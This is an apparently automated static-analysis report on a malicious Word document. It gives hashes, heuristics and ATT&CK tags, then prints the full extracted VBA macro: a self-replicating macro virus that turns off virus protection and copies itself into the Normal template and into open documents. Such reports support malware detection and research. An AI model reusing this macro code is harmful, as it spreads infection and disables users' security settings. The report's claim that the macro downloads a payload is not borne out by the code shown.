Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ded51ed78a3de37…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-07-03 21:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4dfd5bf2ba1fb6ea53227b2dd06a2a66 SHA-1: b6928a3422931cffbb6ff6f0a04b0984fa2bc781 SHA-256: 0ded51ed78a3de3784491070f6366dd785996c5e33697d453d2c957ec3c52a9c
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The macro attempts to disable virus protection and manipulate other modules, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Trojan.Thus-16' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-16
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2077 bytes
SHA-256: 124e5c4ea6745578f47d2dd3b1b71af37db4a69905db2ee820abce3afebbec89
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
'Abiel'
On Error Resume Next
Application.Options.VirusProtection = False
NormalTemplate.VBProject.VBComponents("xix").codemodule.DeleteLines 1, NormalTemplate.VBProject.VBComponents("xix").codemodule.countoflines
If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.lines(2, 1) <> "'Abiel'" Then
  NormalTemplate.VBProject.VBComponents.Item(1).codemodule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines = 0 Then
  NormalTemplate.VBProject.VBComponents.Item(1).codemodule.insertlines 1, ActiveDocument.VBProject.VBComponents.Item(1).codemodule.lines(1, ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
Application.Documents.Item(k).VBProject.VBComponents.Item(2).codemodule.DeleteLines 1, Application.Documents.Item(k).VBProject.VBComponents.Item(2).codemodule.countoflines
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.lines(2, 1) <> "'Abiel'" Then
  Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.DeleteLines 1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.countoflines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.countoflines = 0 Then
  Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.insertlines 1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.lines(1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines)
End If
Next k
End Sub
Private Sub Document_Close()
Call Document_Open
End Sub
Private Sub Document_new()
Call Document_Open
End Sub